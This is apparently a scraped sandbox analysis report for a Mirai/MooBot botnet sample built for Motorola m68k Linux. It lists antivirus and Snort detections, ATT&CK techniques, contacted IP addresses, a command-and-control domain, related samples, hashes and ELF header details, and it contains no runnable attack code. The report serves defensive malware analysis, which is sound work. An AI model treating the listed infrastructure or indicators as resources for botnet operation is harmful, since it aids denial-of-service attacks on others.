Source: xycCMtcF29.elf, 5432.1.000055f140590000.000055f1405f4000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k

Source: Yara match	File source: xycCMtcF29.elf, type: SAMPLE
Source: Yara match	File source: 5432.1.00007f2aa0001000.00007f2aa0013000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xycCMtcF29.elf PID: 5432, type: MEMORYSTR

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	2 Scripting	Path Interception	1 File and Directory Permissions Modification	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
xycCMtcF29.elf	55%	ReversingLabs	Linux.Trojan.Mirai
xycCMtcF29.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	xycCMtcF29.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	xycCMtcF29.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
41.108.136.162	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.202.140.92	unknown	United States	1759	TSF-IP-CORETeliaFinlandOyjEU	false
197.123.124.77	unknown	Egypt	36992	ETISALAT-MISREG	false
101.192.238.222	unknown	China	58519	CHINATELECOM-CTCLOUDCloudComputingCorporationCN	false
40.170.34.113	unknown	United States	4249	LILLY-ASUS	false
197.247.28.30	unknown	Morocco	36925	ASMediMA	false
41.222.196.116	unknown	Congo The Democratic Republic of The	37020	CELTEL-DRCCD	false
157.21.162.197	unknown	United States	53446	EVMSUS	false
217.10.8.52	unknown	Germany	25538	IN-ULMDE	false
197.231.174.155	unknown	South Africa	37055	EMIDZA	false
157.181.65.132	unknown	Hungary	2012	ELTENETELTENETHU	false
193.225.219.125	unknown	Hungary	1955	HBONE-ASHUNGARNETHU	false
41.197.37.202	unknown	Rwanda	36934	Broadband-Systems-CorporationRW	false
99.230.212.160	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
197.116.159.48	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.72.158.143	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
50.24.90.2	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	false
41.47.65.85	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.85.10.0	unknown	South Africa	10474	OPTINETZA	false
197.65.117.123	unknown	South Africa	16637	MTNNS-ASZA	false
41.71.246.29	unknown	Nigeria	37053	RSAWEB-ASZA	false
41.165.243.39	unknown	South Africa	36937	Neotel-ASZA	false
157.57.242.50	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
41.87.186.59	unknown	Botswana	14988	BTC-GATE1BW	false
157.164.123.160	unknown	Belgium	49964	VERIXI-BACKUPNETWORKBE	false
157.157.64.33	unknown	Iceland	6677	ICENET-AS1IS	false
197.180.70.210	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
157.2.42.34	unknown	Japan	10021	KVHKVHCoLtdJP	false
41.38.55.210	unknown	Egypt	8452	TE-ASTE-ASEG	false
54.85.44.238	unknown	United States	14618	AMAZON-AESUS	false
41.3.151.118	unknown	South Africa	29975	VODACOM-ZA	false
143.34.232.190	unknown	United States	11003	PANDGUS	false
197.46.142.34	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.179.121.13	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.172.232.74	unknown	South Africa	36937	Neotel-ASZA	false
218.164.56.168	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
41.195.173.97	unknown	South Africa	16637	MTNNS-ASZA	false
157.215.70.14	unknown	United States	4704	SANNETRakutenMobileIncJP	false
41.41.97.188	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.199.249.217	unknown	United States	3356	LEVEL3US	false
88.80.131.189	unknown	Bulgaria	20657	ATLANTISSofiaBulgariaBG	false
92.119.196.151	unknown	Germany	393559	YHSRV-ASN-393559US	false
41.39.212.123	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.89.80.162	unknown	United States	13327	EKUUS	false
197.167.121.164	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.183.96.114	unknown	South Africa	37028	FNBCONNECTZA	false
41.212.253.54	unknown	Mauritius	23889	MauritiusTelecomMU	false
41.82.254.160	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
157.52.146.105	unknown	United States	46573	LAYER-HOSTUS	false
41.134.78.129	unknown	South Africa	10474	OPTINETZA	false
146.193.227.166	unknown	Portugal	5516	INESCLisboaPortugalPT	false
157.74.76.21	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
157.198.135.72	unknown	United States	4704	SANNETRakutenMobileIncJP	false
157.85.109.89	unknown	Australia	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
41.60.49.30	unknown	Mauritius	30969	ZOL-ASGB	false
37.77.202.102	unknown	Germany	60351	GEIBIT-ASDE	false
197.32.252.78	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.80.208.59	unknown	South Africa	10474	OPTINETZA	false
41.150.154.3	unknown	South Africa	5713	SAIX-NETZA	false
157.208.238.44	unknown	United States	12552	IPO-EUSE	false
157.250.108.17	unknown	Japan	2519	VECTANTARTERIANetworksCorporationJP	false
67.123.182.67	unknown	United States	7018	ATT-INTERNET4US	false
197.132.217.123	unknown	Egypt	24835	RAYA-ASEG	false
197.131.139.252	unknown	Morocco	6713	IAM-ASMA	false
197.116.97.97	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.169.207.249	unknown	France	2418	FR-ASNBLOCK2FR-MAN-SOPHIA-ANTIPOLISEU	false
43.108.134.110	unknown	Japan	4249	LILLY-ASUS	false
41.87.127.152	unknown	Mauritius	37100	SEACOM-ASMU	false
157.173.215.178	unknown	United Kingdom	22192	SSHENETUS	false
197.206.187.20	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.4.84.76	unknown	South Africa	29975	VODACOM-ZA	false
157.65.157.213	unknown	Japan	2514	INFOSPHERENTTPCCommunicationsIncJP	false
157.92.135.49	unknown	Argentina	3449	UniversidadNacionaldeBuenosAiresAR	false
187.179.239.43	unknown	Mexico	6503	AxtelSABdeCVMX	false
25.126.250.236	unknown	United Kingdom	7922	COMCAST-7922US	false
41.21.140.252	unknown	South Africa	36994	Vodacom-VBZA	false
158.129.37.8	unknown	Lithuania	2847	LITNETLT	false
41.203.64.87	unknown	Nigeria	37148	globacom-asNG	false
41.57.121.215	unknown	Nigeria	37472	NIGCOMSATNG	false
41.132.180.255	unknown	South Africa	10474	OPTINETZA	false
197.137.250.211	unknown	Kenya	36914	KENET-ASKE	false
197.17.202.125	unknown	Tunisia	37693	TUNISIANATN	false
41.22.129.244	unknown	South Africa	29975	VODACOM-ZA	false
157.235.141.112	unknown	United States	33442	ZEBRA-TECHNOLOGIES-BGP-AS-NUMBERUS	false
41.122.250.134	unknown	South Africa	16637	MTNNS-ASZA	false
157.182.220.39	unknown	United States	12118	WVUUS	false
197.4.212.55	unknown	Tunisia	5438	ATI-TN	false
38.49.227.141	unknown	United States	174	COGENT-174US	false
157.105.200.147	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
197.65.69.89	unknown	South Africa	16637	MTNNS-ASZA	false
157.92.123.43	unknown	Argentina	3449	UniversidadNacionaldeBuenosAiresAR	false
157.200.4.88	unknown	Finland	1759	TSF-IP-CORETeliaFinlandOyjEU	false
41.113.157.210	unknown	South Africa	16637	MTNNS-ASZA	false
41.163.128.162	unknown	South Africa	36937	Neotel-ASZA	false
49.122.139.77	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
157.76.253.217	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.237.168.4	unknown	Egypt	8452	TE-ASTE-ASEG	false
173.115.19.205	unknown	United States	10507	SPCSUS	false
25.165.225.43	unknown	United Kingdom	7922	COMCAST-7922US	false
41.19.247.180	unknown	South Africa	29975	VODACOM-ZA	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.108.136.162	jBhmxU9F1H.elf	Get hash	malicious	Mirai, Moobot	Browse
41.108.136.162	uQoF1OS64C.elf	Get hash	malicious	Mirai, Moobot	Browse
157.72.158.143	arm4-20231213-1917.elf	Get hash	malicious	Mirai	Browse
	cBt0c3mfAJ.elf	Get hash	malicious	Mirai, Moobot	Browse
	x5x4L7QIS0	Get hash	malicious	Unknown	Browse
197.65.117.123	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
197.123.124.77	dJGh8qck4q.elf	Get hash	malicious	Mirai, Moobot	Browse
41.165.243.39	k3arm.elf	Get hash	malicious	Mirai	Browse
	arm7-20240125-1453.elf	Get hash	malicious	Mirai	Browse
	zRyzen15.x86	Get hash	malicious	Mirai	Browse
	db0fa4b8db0333367e9bda3ab68b8042.i686	Get hash	malicious	Mirai	Browse
	arm7-20211013-0650	Get hash	malicious	Mirai	Browse
157.57.242.50	6VcDOTtGyn.elf	Get hash	malicious	Unknown	Browse
	rNnu910AQq.elf	Get hash	malicious	Mirai	Browse
	l74eoETA5E.elf	Get hash	malicious	Mirai, Moobot	Browse
	DEMONS.x86	Get hash	malicious	Mirai	Browse
157.181.65.132	UDlBZK5q44.elf	Get hash	malicious	Mirai, Moobot	Browse
197.247.28.30	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	vJCZOQ8e4V.elf	Get hash	malicious	Mirai, Moobot	Browse
	Z9FvyaVEXv	Get hash	malicious	Unknown	Browse
197.116.159.48	XNich7Sml7.elf	Get hash	malicious	Mirai, Moobot	Browse
197.116.159.48	I2n6I7jini	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bn.networkbn.click	c9agTsZ4l9.elf	Get hash	malicious	Mirai, Moobot	Browse	103.188.244.189
	fXB7ExbJpI.elf	Get hash	malicious	Mirai, Moobot	Browse	103.188.244.189
	3VHmXdKOWa.elf	Get hash	malicious	Mirai	Browse	91.92.247.11
	81rSYhu7r7.elf	Get hash	malicious	Mirai	Browse	91.92.247.11
	mqRfr44MW4.elf	Get hash	malicious	Mirai	Browse	91.92.247.11
	diUmprW36G.elf	Get hash	malicious	Mirai	Browse	91.92.247.11
	FPn32W3SqI.elf	Get hash	malicious	Mirai	Browse	91.92.247.11
	fX2iY3b9YJ.elf	Get hash	malicious	Mirai	Browse	91.92.247.11
	ctR7PAHwul.elf	Get hash	malicious	Mirai	Browse	91.92.247.11
	eOTyrZ8vmN.elf	Get hash	malicious	Mirai	Browse	91.92.247.11

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LILLY-ASUS	KfnswfV92G.elf	Get hash	malicious	Mirai	Browse	40.243.104.196
	dXzsExqreP.elf	Get hash	malicious	Mirai	Browse	43.103.136.88
	wbUtbKZmxZ.elf	Get hash	malicious	Mirai, Gafgyt	Browse	43.215.66.1
	2Uuy8xXeYj.elf	Get hash	malicious	Mirai, Gafgyt	Browse	42.219.241.54
	fIupB48xS0.elf	Get hash	malicious	Gafgyt, Mirai	Browse	42.130.140.60
	6VcDOTtGyn.elf	Get hash	malicious	Unknown	Browse	42.143.115.162
	zJO55iLN3G.elf	Get hash	malicious	Unknown	Browse	42.14.48.101
	huhu.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	43.131.31.57
	huhu.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	43.26.3.30
	huhu.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	43.210.67.111
ETISALAT-MISREG	fXB7ExbJpI.elf	Get hash	malicious	Mirai, Moobot	Browse	197.194.23.172
	Gu4LdNvj3l.elf	Get hash	malicious	Mirai	Browse	41.65.235.129
	LmRWdFDFaQ.elf	Get hash	malicious	Mirai, Gafgyt	Browse	156.176.245.200
	Ly0ms78iom.elf	Get hash	malicious	Mirai	Browse	41.152.179.93
	FXG9nMntu5.elf	Get hash	malicious	Mirai	Browse	156.183.30.45
	bgj2URl5B2.elf	Get hash	malicious	Mirai, Okiru	Browse	197.193.220.37
	7rlvP4sWKG.elf	Get hash	malicious	Mirai, Okiru	Browse	41.199.210.16
	5nurcxaD72.elf	Get hash	malicious	Mirai, Okiru	Browse	197.123.148.73
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	41.152.76.209
	huhu.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	197.193.232.127
ALGTEL-ASDZ	c9agTsZ4l9.elf	Get hash	malicious	Mirai, Moobot	Browse	41.97.193.174
	fXB7ExbJpI.elf	Get hash	malicious	Mirai, Moobot	Browse	41.111.4.164
	dXzsExqreP.elf	Get hash	malicious	Mirai	Browse	197.117.249.180
	bIHCEUuP4x.elf	Get hash	malicious	Mirai, Gafgyt	Browse	105.97.152.156
	u2iqzwvdmM.elf	Get hash	malicious	Mirai	Browse	41.102.161.89
	6VcDOTtGyn.elf	Get hash	malicious	Unknown	Browse	197.117.202.181
	bgj2URl5B2.elf	Get hash	malicious	Mirai, Okiru	Browse	197.204.9.207
	7rlvP4sWKG.elf	Get hash	malicious	Mirai, Okiru	Browse	41.104.1.24
	5nurcxaD72.elf	Get hash	malicious	Mirai, Okiru	Browse	197.114.122.8
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	197.118.79.238
CHINATELECOM-CTCLOUDCloudComputingCorporationCN	dXzsExqreP.elf	Get hash	malicious	Mirai	Browse	101.216.155.118
	ydlkilluNn.elf	Get hash	malicious	Gafgyt, Mirai	Browse	101.220.36.138
	uMqeVeoVI4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	101.220.36.160
	8B5NOWiWn8.elf	Get hash	malicious	Unknown	Browse	182.43.175.195
	CfmKNhPq8T.elf	Get hash	malicious	Unknown	Browse	101.217.64.45
	LhypGRxeG7.elf	Get hash	malicious	Unknown	Browse	101.216.155.144
	RpjE7NostK.elf	Get hash	malicious	Mirai	Browse	42.123.103.113
	K3k8Tqy0DP.elf	Get hash	malicious	Mirai	Browse	101.216.155.143
	o0KR5B0IZn.elf	Get hash	malicious	Mirai	Browse	113.125.52.177
	z75cWRJMWK.elf	Get hash	malicious	Mirai	Browse	203.189.204.68
TSF-IP-CORETeliaFinlandOyjEU	nsUnYHE8rB.elf	Get hash	malicious	Mirai	Browse	193.209.174.193
	AFWaD3vnqR.elf	Get hash	malicious	Mirai, Gafgyt	Browse	86.114.146.176
	u2iqzwvdmM.elf	Get hash	malicious	Mirai	Browse	88.192.229.174
	5nurcxaD72.elf	Get hash	malicious	Mirai, Okiru	Browse	157.202.153.161
	huhu.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	157.202.176.60
	usCv5xTgmC.elf	Get hash	malicious	Unknown	Browse	195.165.191.34
	LhypGRxeG7.elf	Get hash	malicious	Unknown	Browse	195.165.166.24
	uA97EyP1li.elf	Get hash	malicious	Mirai	Browse	88.193.54.154
	XdH8FFhMcG.elf	Get hash	malicious	Mirai	Browse	84.250.188.145
	Jx14GO9SfG.elf	Get hash	malicious	Mirai	Browse	84.34.58.196

Process:	/tmp/xycCMtcF29.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.021928094887362
Encrypted:	false
SSDEEP:	3:TgeGYr6ANl:TgeZr6G
MD5:	7A9D57B43C06A28BD968088B6FDC48BD
SHA1:	8207CF5E58EEFFCF4FFA3D8081D1C2AF77333A1F
SHA-256:	7EED487C600E6E810B1F6ECB007ACF0D33604110C08B74C996FA74034D5C0056
SHA-512:	9FA91AE3BC2BD7F33CC9F8335DEA9C9A19954A0D8383FB704308E4EA3443A3A904892B5BE386CBBD8BDEAECF0B0473F1083AC7C9427C39D56D87205C55E85E5C
Malicious:	false
Reputation:	low
Preview:	/tmp/xycCMtcF29.elf.

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.255776784511929
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	xycCMtcF29.elf
File size:	75'124 bytes
MD5:	9b1445e167ab9e301613b3df42e07149
SHA1:	49f8af2e21d7caeb2df81ea80bbcb286478a34d0
SHA256:	c5fc56f7037de6516c6c281bade35dd5c3288132c2c671cdf24a24d52a87ed3c
SHA512:	fbf8ea5bd1b776aec394071596ecbbd7d018722e5b047e2b3d83f293b3347811c4dca6acdc7591588d0f629fcb6c9c238ec707dd6648b192e9eac80f4f750112
SSDEEP:	1536:f+6c3QbRJq30oQYwLuH8uATt/zz05S0jI/mwWEskwjv:f+z3QbTO0dYwLuuzY5jpEsNjv
TLSH:	C1734B9AF801DD7DF44BD77B4453090AB931A3D107831B36639BBDA7BC722992823E85
File Content Preview:	.ELF.......................D...4..#......4. ...(.......................n...n...... ........t..?t..?t...0..&0...... .dt.Q............................NV..a....da....`N^NuNV..J9..C.f>"y..?. QJ.g.X.#...?.N."y..?. QJ.f.A.....J.g.Hy...pN.X.......C.N^NuNV..N^NuN

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	74724
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0xfe8a	0x0	0x6	AX	4
.fini	PROGBITS	0x8000ff32	0xff32	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x8000ff40	0xff40	0x202e	0x0	0x2	A	2
.ctors	PROGBITS	0x80013f74	0x11f74	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x80013f7c	0x11f7c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80013f88	0x11f88	0x41c	0x0	0x3	WA	4
.bss	NOBITS	0x800143a4	0x123a4	0x2200	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x123a4	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x11f6e	0x11f6e	6.2879	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x11f74	0x80013f74	0x80013f74	0x430	0x2630	3.4687	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report xycCMtcF29.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.06mb7O (deleted)

/tmp/qemu-open.0ABUkP (deleted)

/tmp/qemu-open.0FOinR (deleted)

/tmp/qemu-open.0PIEAO (deleted)

/tmp/qemu-open.0TkWwQ (deleted)

/tmp/qemu-open.0b2gbP (deleted)

/tmp/qemu-open.0cSY9Q (deleted)

/tmp/qemu-open.0cw0WS (deleted)

/tmp/qemu-open.0j73sO (deleted)

/tmp/qemu-open.0pi0pR (deleted)

/tmp/qemu-open.0tPxZP (deleted)

/tmp/qemu-open.0u4e3P (deleted)

/tmp/qemu-open.0vnOjQ (deleted)

/tmp/qemu-open.0z6dDP (deleted)

/tmp/qemu-open.0zNeWR (deleted)

/tmp/qemu-open.0zeYYP (deleted)

/tmp/qemu-open.15RrQS (deleted)

/tmp/qemu-open.17dKwO (deleted)

/tmp/qemu-open.1GqiEO (deleted)

/tmp/qemu-open.1H3wXP (deleted)

/tmp/qemu-open.1LU5LO (deleted)

/tmp/qemu-open.1M9QDP (deleted)

/tmp/qemu-open.1NsojP (deleted)

/tmp/qemu-open.1QVPFO (deleted)

/tmp/qemu-open.1QiHtO (deleted)

Linux Analysis Report
xycCMtcF29.elf